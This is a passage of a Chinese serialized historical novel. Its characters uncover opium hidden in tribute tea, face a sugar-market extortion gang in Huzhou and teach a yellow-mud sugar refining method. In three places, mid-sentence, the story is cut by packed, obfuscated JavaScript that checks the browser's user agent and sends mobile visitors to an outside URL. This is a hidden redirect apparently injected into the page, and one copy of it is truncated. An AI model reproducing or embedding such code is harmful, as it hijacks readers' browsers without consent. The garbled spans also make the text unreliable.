浔阳秋用折扇轻敲掌心:“待会到了贡茶院,让你尝尝今年新采的紫笋茶。那茶芽紫得发亮,泡出来的茶汤甘甜清冽。” 山路渐陡,雾气中隐约可见层层叠叠的茶园。采茶女们戴着斗笠,手指在茶树间灵巧地翻飞。江心月深吸一口气,空气中弥漫着茶叶的清香和泥土的芬芳。 “到了。”都文曜勒住马缰,众人面前出现一座灰瓦白墙的院落,门楣上“顾渚贡茶院”五个大字苍劲有力。 管事早已候在门口,见到都文曜连忙上前行礼:“都公子大驾光临,有失远迎!” 都文曜翻身下马:“李管事不必多礼。这几位是我的朋友,专程来品鉴贡茶的。” 李管事目光在浔阳秋脸上停留片刻,突然惊喜道:“这不是浔阳公子吗?去年您来品茶时留下的诗作,我们还裱起来挂在茶室里呢!” 浔阳秋拱手微笑:“李管事好记性。” 呆六娘迫不及待地跳下马,凑到李管事跟前:“伯伯,我能去看看怎么制茶吗?” 李管事被这声“伯伯”叫得眉开眼笑:“小小姐随我来,正好今早采了一批新芽,师傅们正在炒制呢。” 众人跟着李管事穿过前院。江心月注意到墙角堆着许多竹篓,里面铺着新鲜的茶叶,几个伙计正在翻拣。 “这是在晾青。”浔阳秋顺着她的目光解释道,“刚采下来的茶叶要摊晾两个时辰,散去水分。” 都文曜补充:“周老大就是趁这个环节偷换茶叶的。晾青后的茶叶要送去炒制,他们就在转运时做手脚。” 炒茶房里热气腾腾,三位老师傅正在大铁锅前忙碌。呆六娘踮着脚往锅里看,被热气熏得直眨眼睛。 “小心烫着。”江心月把她往后拉了拉。 一位老师傅用布满老茧的手掌在锅里快速翻炒茶叶,解释道:“这叫做''杀青'',温度要恰到好处,早了茶味不醇,晚了又会有焦苦味。” 呆六娘看得入迷:“爷爷,我能试试吗?” 老师傅笑着摇头:“小丫头,这锅可有二百多度呢,烫着可不是闹着玩的。” 李管事提议:“不如去品茶室坐坐?正好有刚制好的头批紫笋。” 品茶室布置得雅致非常,窗外正对着一片竹林。侍女端上茶具,李管事亲自冲泡。热水注入茶壶的瞬间,一股清冽的香气立刻弥漫开来。 “好香!”呆六娘凑近茶杯,小鼻子一耸一耸的。 都文曜端起茶杯轻嗅:“今年的茶比往年更醇厚。” 李管事面露得色:“这是南山坡上那三十棵老茶树采的,一年就产这么几斤。” 浔阳秋浅尝一口,闭目回味:“入口微苦,回甘绵长,确是好茶。” 江心月捧着茶杯,突然问道:“李管事,贡茶入库前要经过几道查验?” 李管事放下茶壶:“总共五道。采茶时一道,晾青时一道,炒制后一道,装箱前一道,最后出库时还有漕帮的大人们查验。” 都文曜与浔阳秋交换了个眼神。都文曜放下茶杯:“李管事,实不相瞒,我们这次来,是因为发现有人偷换贡茶。” 李管事手里的茶壶差点摔在地上:“什、什么?这怎么可能!” 浔阳秋从袖中取出一个小布包,摊开来是几片茶叶:“这是我们从周老大那里找到的假茶,李管事看看可认得?” 李管事颤抖着手捻起一片茶叶,对着光仔细查看,脸色越来越难看:“这、这是陈年茶梗染色做的!怎么会......” “周老大已经招供,是受李茂才指使。”都文曜沉声道,“我们怀疑贡茶院里有内应。” 李管事急得直搓手:“都公子明鉴,我们贡茶院上下对朝廷忠心耿耿,绝不敢做这种事啊!” 江心月温声道:“李管事别急,我们不是怀疑您。只是想请您想想,最近可有可疑之人进出?或者哪位伙计行为反常?” 李管事皱眉思索,突然拍了下大腿:“要说反常......库房的张二狗最近确实阔绰了不少,前几日还给相好的买了银镯子。” 都文曜立刻起身:“带我们去见这个张二狗。” 一行人匆匆来到后院库房,却见库房门大开,一个瘦小男子正慌慌张张地往包袱里塞东西。 “张二狗!”李管事大喝一声。 那人吓得一哆嗦,包袱掉在地上,滚出几个油纸包。浔阳秋一个箭步上前按住他,都文曜捡起油纸包打开,里面正是染色过的假茶。 “好啊!果然是你!”李管事气得胡子直翘。 张二狗面如土色,跪地求饶:“小的知错了!是李府的人逼我的,他们说要是我不配合,就、就杀了我老娘......” 都文曜冷声道:“李茂才现在何处?” “在、在城南别院......”张二狗哆嗦着说,“今晚就要运最后一批假茶出去......” 事不宜迟,都文曜立刻安排人手去城南抓人。呆六娘拉拉江心月的袖子:“三娘,那些坏蛋会不会跑掉啊?” 江心月摸摸她的头:“有都公子在,他们跑不了的。” 浔阳秋提议:“不如我们先去看看那批假茶?” 李管事带着众人来到一个偏僻的小库房,打开锁,里面整整齐齐码着几十个茶箱。都文曜撬开一箱,取出茶叶仔细查看,眉头越皱越紧。 “这么多......”浔阳秋捻着假茶,“要是流出去,足够以假乱真了。” 江心月忽然注意到墙角有个小布袋:“那是什么?” 李管事打开一看,里面是几块奇怪的褐色块状物:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410403|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这、这不是茶啊......” 浔阳秋接过来闻了闻,脸色骤变:“是鸦片!李茂才竟然想用鸦片混在茶里!” 都文曜一拳砸在茶箱上:“该死!这是要祸国殃民啊!” 呆六娘虽然不懂鸦片是什么,但看大人们脸色都变了,乖乖躲在江心月身后不敢出声。 “必须立刻封存所有贡茶,重新查验。”都文曜当机立断,“李管事,麻烦你召集所有人手,一箱一箱检查。” 整个贡茶院立刻忙碌起来。江心月和呆六娘帮着记录茶箱编号,浔阳秋负责鉴别茶叶真伪,都文曜则带人彻查每个角落。太阳渐渐西斜,众人的影子在院子里拉得老长。 “找到了!”一个伙计突然喊道,“这箱底下有暗格!” 都文曜冲过去,从暗格里摸出一个小瓷瓶,打开一看,里面是黑色膏状物。浔阳秋只看了一眼就确定:“是鸦片无疑。” 黄昏时分,都文曜派去的人押着李茂才回来了。这个富态的中年男子此刻面如死灰,衣衫不整,显然是在逃跑时被抓的。 “李茂才,你好大的胆子!”都文曜厉声喝道,“竟敢在贡茶中掺鸦片!” 李茂才瘫坐在地,汗如雨下:“我、我也是受人指使......是、是永安城的......” 都文曜一把揪住他的衣领:“说!是谁?” “是......”李茂才刚要开口,突然双目圆睁,嘴角溢出黑血,整个人抽搐着倒了下去。 “服毒了!”浔阳秋急忙上前探查,却已经回天乏术。 呆六娘吓得捂住眼睛。江心月将她搂在怀里,轻轻拍着她的背:“不怕不怕,没事了。” 都文曜脸色阴沉如水:“背后还有人......这事必须立即上报朝廷。” 夜色渐浓,贡茶院里点起了灯笼。李管事张罗着准备晚饭,但众人都没什么胃口。呆六娘靠在江心月肩上,已经困得睁不开眼了。 “今天吓着六娘了。”浔阳秋轻声道,“不如我先送你们回客栈休息?” 江心月点点头,小心地抱起熟睡的呆六娘:“都公子,这边还有什么需要我们帮忙的吗?” 都文曜勉强笑了笑:“已经帮了大忙了。多亏你们发现得及时,不然这批''毒茶''流入永安城,后果不堪设想。” 回客栈的路上,月光洒在石板路上,映出长长的影子。浔阳秋牵着马,江心月抱着熟睡的呆六娘坐在马背上。 “今天真是惊心动魄。”江心月轻声道,“没想到事情会这么严重。” 浔阳秋仰头望着星空:“是啊,谁能想到一个偷茶的案子,会牵扯出鸦片来。” “那个李茂才......”江心月欲言又止。 “他背后肯定还有人。”浔阳秋的声音很轻,“不过这事就交给都文曜去查吧。咱们明天带六娘去山上玩玩,压压惊。” 江心月低头看着怀里睡得香甜的呆六娘,嘴角泛起一丝笑意:“好啊,六娘肯定喜欢。” 月光下,三人的身影渐渐消失在客栈的方向。顾渚山的夜晚静悄悄的,只有偶尔传来的虫鸣,和远处贡茶院彻夜不熄的灯火。 30. 湖州 湖州城东的糖市刚开市,空气中就飘着甜丝丝的味道。江心月牵着呆六娘的手,穿过熙熙攘攘的人群。小姑娘今天穿了件杏黄色的襦裙,像只小蝴蝶似的在摊位间穿梭。 “三娘!你看这个冰糖,好大一块!”呆六娘踮着脚,指着摊位上晶莹剔透的糖块。 糖贩是个满脸皱纹的老汉,见状笑呵呵地掰下一小块递给她:“小娘子尝尝,这是岭南来的冰糖,甜得很。” 呆六娘接过糖块,小心翼翼地舔了舔,眼睛立刻弯成了月牙:“真的好甜!” 江心月笑着摸摸她的头,转向糖贩:“老伯,这糖怎么卖?若是要得多,可能便宜些?” 老汉捋了捋胡子:“小娘子要多少?若是上百斤,每斤可以少两文钱。” “三娘,我们要买这么多吗?”呆六娘仰起脸,嘴角还沾着糖屑。 江心月用手帕擦擦她的嘴角:“咱们珍珠坊要用,还要给解大姐的医馆备些。”她转向糖贩,“老伯,我要三百斤,可能再便宜些?” “三百斤?”老汉眼睛一亮,“小娘子爽快,那就再让一文钱!” 正当江心月要付定金时,旁边突然传来一阵骚动。几个穿着统一褐色短打的汉子推开人群,为首的冲着糖贩喊道:“老周头,该交这个月的份子钱了!” 老汉脸色一变,赶紧从钱袋里数出几枚铜钱:“王哥,这是这个月的。” 那汉子掂了掂铜钱,斜眼瞥见江心月手中的钱袋:“这位小姐看着面生啊,买这么多糖做什么生意?” 江心月不动声色地将钱袋收回袖中:“自家用。” “自家用?”汉子嗤笑一声,“三百斤糖自家用?小姐莫不是开糖铺的?在这湖州城做糖生意,可得先跟我们青龙帮打个招呼。” 呆六娘躲到江心月身后,小手紧紧攥着她的衣角。江心月安抚地拍拍她的手,面色如常:“这位大哥说笑了,我们只是路过采买,并非做生意。” 汉子还要说什么,旁边摊位一个老婆婆突然插话:“王二,人家外地来的小姐,你别吓着孩子。” 王二瞪了老婆婆一眼,但也没再纠缠,带着人往下一个摊位去了。老汉这才松了口气:“小姐别见怪,这些是青龙帮的人,每月都要收''保护费''。” 江心月皱眉:“官府不管吗?” 老汉苦笑:“管?他们跟衙门里的差爷熟着呢。小姐要的糖,我明日送到何处?” “送到城西的悦来客栈吧。”江心月付了定金,牵着呆六娘离开糖摊。 走出糖市,呆六娘才小声问:“三娘,那些人好凶啊,他们会不会来找我们麻烦?” 江心月蹲下身,整理了一下呆六娘的衣领:“别怕,有都公子和浔阳公子在呢。咱们再去看看别的糖,听说湖州的麦芽糖也不错。” 两人沿着街边走,忽然听见一阵熟悉的叫卖声:“糖葫芦!又甜又脆的糖葫芦!” 呆六娘眼睛一亮:“三娘,是糖葫芦!” 卖糖葫芦的是个精神矍铄的老头,草靶子上插满了红艳艳的山楂糖葫芦。江心月买了两串,递给呆六娘一串:“慢点吃,别弄脏衣服。” 呆六娘迫不及待地咬了一口,糖壳碎裂的声音清脆悦耳:“好甜!三娘你也吃!” 江心月刚要吃,突然注意到街对面有个熟悉的身影一闪而过。那人穿着粗布衣裳,鬼鬼祟祟地钻进了一条小巷。 “六娘,你在这等着,别乱跑。”江心月把糖葫芦塞给呆六娘,快步穿过街道。 小巷里光线昏暗,江心月小心地跟上去,发现那人正是贡茶院的张二狗!他正跟一个黑衣人低声交谈,手里还拿着个包袱。 “......东西都在这了,钱呢?”张二狗的声音发颤。 黑衣人递过一个钱袋:“记住,管好你的嘴,否则......” 江心月不小心踩到一根树枝,发出“咔嚓”一声响。张二狗和黑衣人猛地回头,黑衣人立刻翻墙逃走,张二狗则瘫坐在地。 “江、江小姐......”张二狗面如土色。 江心月上前一步:“张二狗,你不是被关起来了吗?那包里是什么?” 张二狗突然跪地磕头:“江小姐饶命啊!我是被逼的!他们抓了我老娘......” 江心月正要追问,巷口突然传来呆六娘的喊声:“三娘!你在哪儿?” 张二狗趁机爬起来就跑,江心月想追,又担心呆六娘,只好先退回街上。呆六娘正焦急地四处张望,手里的糖葫芦都掉在了地上。 “我在这。”江心月快步走过去,“不是让你在原地等着吗?” 呆六娘扑过来抱住她的腰:“我以为你不见了......”声音里带着哭腔。 江心月心一软,摸摸她的头:“没事了,咱们先回客栈。” 回到客栈,正好遇见都文曜和浔阳秋回来。都文曜脸色凝重:“江小姐,出事了。张二狗越狱了。” 江心月一惊:“我刚才在糖市附近看见他了!他在跟一个黑衣人交易什么。” 浔阳秋折扇一合:“果然有同伙!我们查到他可能跟城北一个叫''醉仙楼''的酒楼有关系。” 呆六娘拉拉都文曜的袖子:“都哥哥,糖市有坏人要收保护费,还凶三娘!” 都文曜眉头紧锁:“青龙帮?他们跟醉仙楼也有往来。看来这湖州城的水很深啊。” “我们分头行动吧。”浔阳秋提议,“文曜兄去查醉仙楼,我带江小姐和六娘继续找糖源,顺便打听青龙帮的事。” 都文曜点点头:“也好。我这就去安排人手盯住醉仙楼。” 傍晚时分,浔阳秋带着江心月和呆六娘来到城南一家老字号糖铺。掌柜的是个和蔼的中年妇人,见呆六娘可爱,还送了她一小包芝麻糖。 “夫人,听说青龙帮在糖市收保护费?”浔阳秋状似无意地问道。 妇人叹了口气:“可不是嘛!每月要交二两银子,不然就别想安稳做生意。” “官府不管?”江心月一边挑选红糖一边问。 “管?”妇人压低声音,“听说青龙帮帮主跟知府大人是连襟呢!” 正说着,店外突然传来一阵马蹄声。浔阳秋透过窗缝一看,低声道:“是都文曜的人,看来有发现了。” 三人匆匆结账出来,跟着都文曜的随从来到了城北一处偏僻的院落。都文曜正在门口等候,见他们来了,立刻迎上来:“张二狗被抓到了,还缴获了一批鸦片。” 院子里,张二狗被绑在椅子上,面前摆着几个油纸包。都文曜拿起一包递给浔阳秋:“你看看,是不是跟贡茶院里的一样?” 浔阳秋仔细检查后点头:“一模一样。张二狗交代,这些是从醉仙楼后院的地窖里找到的。” 江心月突然想到什么:“都公子,醉仙楼和青龙帮会不会是一伙的?今天糖贩说青龙帮跟官府有关系......” 都文曜眼睛一亮:“有道理!我这就去查醉仙楼的东家跟青龙帮的关系。” “等等。”浔阳秋拦住他,“这事得从长计议。若真牵扯到知府,我们得先收集证据。” 呆六娘突然扯了扯江心月的袖子:“三娘,我饿了......” 众人这才发现天色已晚。都文曜笑道:“是我疏忽了。这样,我们先回客栈用膳,明日再继续查。” 回到客栈,小二送上热气腾腾的饭菜。呆六娘饿坏了,扒着饭碗吃得津津有味。江心月却没什么胃口,还在想着白天的事。 “别担心。”浔阳秋给她夹了块鱼肉,“既然找到了线索,迟早能查个水落石出。” 都文曜也安慰道:“我已经派人盯着醉仙楼和青龙帮了。明天我去拜访湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不一会儿,巷子里传来打斗声和惨叫声。江心月捂住呆六娘的耳朵,焦急地张望。很快,浔阳秋扶着那个书生走了出来,身后躺着几个哼哼唧唧的青龙帮打手。 “快走!”浔阳秋低声道,“他们很快会有援兵。” 四人匆匆回到客栈,关上门,那书生才喘着气说道:“多谢恩公相救!我是醉仙楼的账房刘文,因为发现了东家贩卖鸦片的账本,他们就要杀我灭口!” 江心月给他倒了杯茶:“慢慢说,到底怎么回事?” 刘文喝了口茶,平静了些:“醉仙楼东家赵虎是青龙帮帮主的弟弟,他们借着酒楼做掩护,从南洋走私鸦片。那账本就藏在醉仙楼三楼密室的暗格里。” 正说着,都文曜推门而入,见状一愣:“这位是......” 浔阳秋简单说明了情况。都文曜大喜:“太好了!通判大人已经同意协助我们搜查醉仙楼,现在有了人证,更能名正言顺了!” 当天下午,在湖州通判的配合下,都文曜带人突袭了醉仙楼,果然在三楼密室找到了账本和大量鸦片。赵虎和青龙帮帮主被当场抓获,知府也被停职查办。 傍晚,众人聚在客栈庆祝。呆六娘啃着新买的糖画,好奇地问:“都哥哥,那些坏人会被砍头吗?” 都文曜笑着摸摸她的头:“那要等朝廷定夺。不过他们以后不能再欺负人了。” 江心月举起茶杯:“这次多亏大家齐心协力,才能破获这个大案。” 浔阳秋看着她被夕阳映红的侧脸,轻声道:“也多亏你发现了张二狗,才找到突破口。” 都文曜大笑:“好了,案子结了,糖也买好了,咱们明天是不是该好好游玩一下湖州?六娘想不想去划船?” 呆六娘欢呼起来:“想!我还要吃湖州的藕粉!” 众人笑作一团。窗外的湖面上,夕阳洒下金红色的光芒,几只白鹭掠过水面,荡起层层涟漪。明天,又将是一个美好的日子。 31. 黄泥淋制糖法 湖面泛着粼粼波光,小船轻轻摇晃。呆六娘趴在船边,小手拨弄着清凉的湖水,溅起一串晶莹的水珠,时不时发出咯咯的笑声。 江心月坐在船尾,看着两岸垂柳依依,心情也跟着舒畅起来。“六娘,当心别掉下去。”她伸手拉住呆六年的后衣领。 “三娘你看!”呆六娘突然指着岸边,“那里冒烟呢!” 浔阳秋顺着她的目光望去:“确实是个糖寮。看烟囱冒着烟,应该正在熬糖。” 都文曜让船夫靠岸:“既然遇上了,不如去看看?六娘不是最爱吃糖吗?” 呆六娘立刻来了精神,小辫子一甩一甩的:“好呀好呀!” 船刚靠岸,就闻到一股甜腻的焦糖味。众人沿着田埂走去,看到一座用竹篱笆围起来的院落,门口挂着“林氏糖坊”的木牌。 糖坊门口堆着成捆的甘蔗,几个短打汉子正忙着将甘蔗送入石碾。甜腻的香气弥漫在空气中,呆六娘抽着小鼻子,像只寻蜜的小熊。 “几位客人是来买糖的?”一个系着粗布围裙的妇人迎上来,约莫三十出头,眉眼间透着干练,“我是这糖坊的坊主林霜娘。” 江心月注意到她手上布满细小的烫痕,指节粗大,显然是常年劳作的痕迹:“林坊主,我们路过此地,想看看制糖的过程,不知可否行个方便?” 林霜娘爽快地一挥手:“这有什么,随我来吧。小丫头,给你块糖吃。”说着从腰间小布袋掏出块琥珀色的糖块递给呆六娘。 呆六娘接过糖,眼睛弯成月牙:“谢谢婶婶!” 糖坊里热气扑面,七八口大锅依次排开,冒着泡泡,工人们汗流浃背地搅拌着糖浆。林霜娘带着他们一一参观:“这是榨汁区,甘蔗要先压成汁。” 呆六娘好奇地摸着一根甘蔗:“这个可以直接吃吗?” 林霜娘笑着掰下一小段递给她:“尝尝,很甜的。” “这是头道浆,最甜;这是二道浆,色深些...” 江心月在一口大锅前停住脚步,锅里糖浆颜色发暗,泡沫也不够均匀:“林坊主,这锅火候是不是过了?” 林霜娘惊讶地看她一眼:“姑娘懂制糖?确实,这灶火不好控制,稍不留神就...” “可以用黄泥水淋糖。”江心月脱口而出,随即意识到失言,连忙补充,“我是说,我家乡有种法子...” 林霜娘眼睛一亮:“黄泥水?姑娘细说说!” 都文曜和浔阳秋交换了个眼神。都文曜轻摇折扇:“江小姐祖上做过糖商?” 江心月含糊地应了一声,指着旁边的糖浆桶:“就是将黄泥调成浆水,从糖浆顶部淋下,泥水会带走杂质,糖色更白净,出糖率也能提高三成。” 林霜娘激动地抓住江心月的手:“姑娘这法子当真?若真能成,我这糖坊就有救了!” 呆六娘仰着脸看大人们说话,糖汁沾了满手也不在意。浔阳秋掏出手帕给她擦手:“慢点吃,都黏糊了。” “现在就能试试吗?”林霜娘迫不及待地问,“后头正好有新榨的糖浆!” 江心月点点头,跟着林霜娘来到后院。几个工人正在将熬好的糖浆倒入瓦溜中冷却。江心月卷起袖子,找了块黄泥,兑水调成稀浆。 “要这样均匀地淋下去。”她示范着,黄泥水缓缓渗入糖浆,渐渐带出深色的杂质。 林霜娘目不转睛地盯着,突然拍腿大叫:“神了!这糖色当真透亮许多!” 工人们也围过来,啧啧称奇。一个老师傅捻着胡须:“老汉制糖三十年,头回见这法子,姑娘真是神了!” 都文曜凑近浔阳秋耳边:“你这朋友不简单啊。” 浔阳秋望着江心月专注的侧脸,眼中闪过一丝疑惑,但很快被笑意取代:“她向来聪慧。” 试验成功后,林霜娘非要留他们用饭。饭菜摆在后院的老槐树下,虽只是些家常菜,但胜在新鲜。林霜娘给江心月斟了杯自酿的甘蔗酒:“江姑娘,这法子若能推广,可是造福万千糖农啊!” 江心月抿了口酒,甜中带辣:“林坊主言重了。不过这法子确实能省不少柴火,糖色也好,卖价能高些。” 呆六娘啃着糖醋排骨,油乎乎的小手扯扯江心月的袖子:“三娘,我还能去看做糖吗?” 林霜娘笑着起身:“来,婶婶带你去。刚淋好的糖该成型了。” 众人跟着来到糖房,果然见瓦溜中的糖已经凝固,色泽如琥珀般透亮。林霜娘撬下一块递给江心月:“尝尝,可比之前的强多了!” 江心月掰开糖块,分给众人。糖入口即化,甜而不腻。都文曜赞叹道:“比贡糖也不差!” “江姑娘,”林霜娘突然正色道,“我想买下你这法子,你开个价。” 江心月连忙摆手:“这法子本就不是我独创,林坊主尽管用便是。” 林霜娘却执意不肯:“这哪行!要不这样,你以技术入股,我这糖坊分你三成干股!” 浔阳秋轻咳一声:“江小姐,这倒是个好主意。你不是正想在湖州开分店吗?” 江心月思索片刻:“那不如这样,林坊主负责生产,我负责销路。咱们合作,把这种白糖卖到永安城去。” 林霜娘大喜,当即让人拿来纸笔,写下契约。两人按了手印,算是达成合作。 江心月刚要说什么,院外突然传来嘈杂声。一个工人慌慌张张跑进来:“坊主,青龙帮的人来了!” 林霜娘脸色一变:“不是才交过月钱吗?” 话音未落,三个彪形大汉已经闯了进来。为首的满脸横肉,一脚踢翻了旁边的糖筐:“林坊主,听说你们得了新方子?我们帮主说了,要么交出方子,要么每月加十两银子!” 都文曜缓缓站起身:“光天化日,强取豪夺,好大的胆子。” 大汉斜眼看他:“哪来的小白脸,少管闲事!” 浔阳秋“唰”地展开折扇,轻笑道:“这位兄台,说话客气些。” 大汉伸手就要推搡,都文曜一个闪身,反手扣住他的手腕,轻轻一拧,那大汉就疼得跪在了地上。另外两人见状扑上来,被浔阳秋三两下放倒。 “你、你们等着!”大汉狼狈地爬起来,“青龙帮不会放过你们的!” 都文曜从腰间取出一块令牌:“回去告诉你们帮主,漕帮都文曜在此,让他洗干净脖子等着!” 三人一听“漕帮”二字,顿时面如土色,连滚带爬地跑了。 林霜娘又惊又喜:“原来是漕帮的少当家!多谢少当家解围。” 都文曜摆摆手:“举手之劳。不过青龙帮不会善罢甘休,我们得想个长久之计。” 江心月思索片刻:“林坊主,不如这样。我把改良的制糖法教给你,但你对外宣称是从别处学来的。另外,我建议你加入湖州糖业行会,有了行会庇护,青龙帮就不敢轻易招惹。” 林霜娘感激地点头:“都听江姑娘的。” 夕阳西沉时,众人才告辞离去。林霜娘一直送到渡口,再三叮嘱江心月常来看看。小船离岸,呆六娘趴在船尾冲林霜娘挥手,糖坊渐渐隐没在暮色中。 回程船上,都文曜忍不住问:“江小姐,那黄泥淋糖法,你是从哪学来的?” 江心月望着水面泛起的涟漪:“小时候...看过一本杂书,记不太清了。” 浔阳秋若有所思地看了她一眼,但没再多问。呆六娘已经困得东倒西歪,小脑袋一点一点的,最后干脆栽进江心月怀里睡着了。 接下来的三天,江心月留在糖坊,手把手教工人们改良工艺。浔阳秋和都文曜则忙着联络湖州商会的朋友,为林氏糖坊寻求庇护。呆六娘成了糖坊的小开心果,工人们都喜欢逗她玩,给她做各种形状的糖人。 第四天清晨,第一批改良白糖正式出坊。林霜娘捧着雪白的糖块,眼眶都红了:“江姑娘,这糖比我见过的广糖还要好!” 江心月笑着帮她擦去眼泪:“林姐别这样,以后会更好的。” 都文曜从城里带回好消息:“商会已经接纳林氏糖坊了,青龙帮也被官府警告,不敢再来骚扰。” 浔阳秋补充道:“而且湖州知府尝了这白糖,说要列 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424160|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为贡品,以后宫里都用你家的糖。” 林霜娘激动得说不出话来,只是紧紧握着江心月的手。 离别时,林霜娘塞给江心月一个大包袱:“这里是最新熬制的冰糖和方子笔记,还有我给六娘做的糖人。” 呆六娘开心地接过糖人:“谢谢林姨!” 小船缓缓离岸,林霜娘站在码头上不停挥手。呆六娘趴在船边,直到糖坊消失在视野里才坐回来。 “三娘,我们以后还来吗?”她仰着小脸问。 江心月摸摸她的头:“当然来,林姨不是答应教你做兔子糖人吗?” 都文曜划着桨,笑道:“江小姐这次可是做了件大好事。这改良的制糖法若推广开来,能让多少糖坊受益。” 浔阳秋望着远处的山影:“是啊,甜了天下人的嘴。” 江心月被说得有些不好意思:“只是碰巧知道些皮毛罢了。” 呆六娘突然举起糖人:“我的糖人最甜!” 众人都笑了起来。夕阳西下,小船在金色的水面上划出一道长长的波纹,载着欢声笑语,向着远方驶去。 “明日我们就回程?”都文曜压低声音问。 浔阳秋点点头:“案子结了,糖也买了,该回去了。珍珠坊还等着开业呢。” 江心月轻轻拍着怀里的呆六娘,月光洒在三人身上,小船晃晃悠悠地驶向客栈。远处传来隐约的渔歌,和着水声,像首温柔的催眠曲。 第二天清晨,众人收拾行装准备返程。林霜娘却匆匆赶来,身后跟着两个伙计,抬着个大木箱。 “江姑娘,这是连夜赶制的白糖,你带上。”林霜娘擦着汗,“还有这个。”她掏出个小布包,“是我祖传的制糖笔记,或许对你有用。” 江心月推辞不过,只好收下。呆六娘扒着箱子边缘往里看:“三娘,我能吃一块吗?” “路上再吃。”江心月点点她的鼻尖,转向林霜娘,“下个月我派人来取货,第一批先供应当地酒楼试试水。” 林霜娘连连点头,一直送到城门外才依依惜别。马车缓缓前行,呆六娘趴在车窗上,直到看不见林霜娘的身影才坐回来。 “三娘,回去我能给周叔他们带糖吗?”呆六娘眼巴巴地问。 “当然可以。”江心月笑着捏捏她的脸蛋,“不过一天只能吃一块,不然牙该疼了。” 都文曜骑马跟在车旁,闻言笑道:“六娘,你三娘是为你好。我小时候偷吃糖,牙疼得直打滚。” 浔阳秋在另一侧车窗边策马而行:“三娘,回去后要不要在珍珠坊加个糖水铺子?用这白糖做甜品肯定受欢迎。” 江心月眼睛一亮:“好主意!还可以和解婆婆商量,做些药膳糖水。” 呆六娘举起小手:“我能帮忙试吃!” 众人笑作一团。马车碾过路上的小石子,微微颠簸。路边的野花开得正盛,几只蝴蝶在花间飞舞。呆六娘数着路边的杨柳,数着数着又迷糊起来,靠在江心月肩上打起了盹。 正午时分,车队在一条小溪边停下休整。都文曜去溪边洗脸,浔阳秋帮着生火煮茶。江心月从箱子里取出一包糖,掰了小块含在嘴里,甜味在舌尖化开。 “三娘似乎对制糖很了解?”浔阳秋突然问,手里拨弄着火堆。 江心月顿了顿:“略知一二罢了。” 浔阳秋抬眼看她,目光温和却带着探究:“那黄泥淋糖法,连都文曜这个走南闯北的人都未见过。” “或许是...家乡偏方?”江心月避开他的视线,给熟睡的呆六娘掖了掖衣角。 浔阳秋没再追问,只是递给她一杯热茶:“小心烫。” 都文曜甩着水珠回来,打破了短暂的沉默:“前面再有半日就到驿站了。我让人准备了烤全羊,今晚好好吃一顿!” 呆六娘迷迷糊糊醒来,听见“烤全羊”三个字,立刻精神了:“有羊肉吃?” 众人被她这馋样逗乐了。休整完毕,车队继续前行。夕阳将众人的影子拉得很长,投在官道的尘土上,交织在一起,又慢慢被暮色吞没。 32. 盐城 驿站后院飘着烤全羊的香气,火堆上的羊肉滋滋作响,油滴落入炭火中,溅起细小的火星。暮色四合,天边的晚霞红得像熟透的柿子,把整个院子都染成了温暖的橘红色。 呆六娘蹲在火堆旁,双手托着腮帮子,眼睛一眨不眨地盯着烤得金黄的羊肉。她的小鼻子不停地抽动,嘴角亮晶晶的,不知是口水还是方才喝的蜜水。 “别靠太近,当心火星子。”江心月把她往后拉了拉,顺手用帕子擦了擦她嘴角。帕子上绣着几朵淡紫色的小花,已经有些旧了,但洗得很干净。 都文曜正用匕首片着烤好的羊肉,刀刃在火光下闪着寒光。他手法娴熟,每一片肉都切得薄厚均匀。“六娘这馋样,跟我小时候一模一样。”他笑着把第一盘肉递给江心月,“江姑娘先请。” 浔阳秋接过都文曜递来的第二盘羊肉,忽然注意到驿站角落停着几辆奇怪的马车。车辕比寻常马车粗壮许多,车底不断滴着水,在干燥的地面上洇出深色的痕迹,像一条蜿蜒的小溪。 “那几辆车怎么一直在滴水?”浔阳秋用筷子指了指,眉头微皱。 呆六娘立刻蹦起来,两条小辫子跟着一甩:“我去看看!”还没等大人反应过来,她已经一溜烟跑了过去,裙角飞扬像只花蝴蝶。 “六娘!”江心月连忙起身追去,却见小姑娘已经蹲在马车旁,好奇地用手指蘸着地上的水渍尝了尝。 “是甜的!”呆六娘惊喜地回头喊道,眼睛亮得像星星。 都文曜大步走来,看了眼马车厚重的稻草帘子和特制的木箱:“这是运冰的车。水里掺了蜜糖,防止冰块粘在车上。” “运冰?”江心月惊讶地看着马车,伸手摸了摸车壁,触手冰凉,“这个季节还有冰?” 都文曜点点头,用匕首柄敲了敲车板:“盐城产的冰,专供达官贵人消暑用。这车壁有三层,中间填了棉絮和木屑,能保三日不化。” 呆六娘扒着车辕想往上爬,小短腿一蹬一蹬的:“我想看冰块!” 赶车的伙计赶紧从驿站里跑出来拦住她:“小祖宗,可不敢掀帘子,冰化了要挨板子的!”他粗糙的大手轻轻按住呆六娘的肩膀,脸上带着讨好的笑。 浔阳秋把呆六娘抱回来,小丫头在他怀里扭来扭去:“就看一下嘛!” 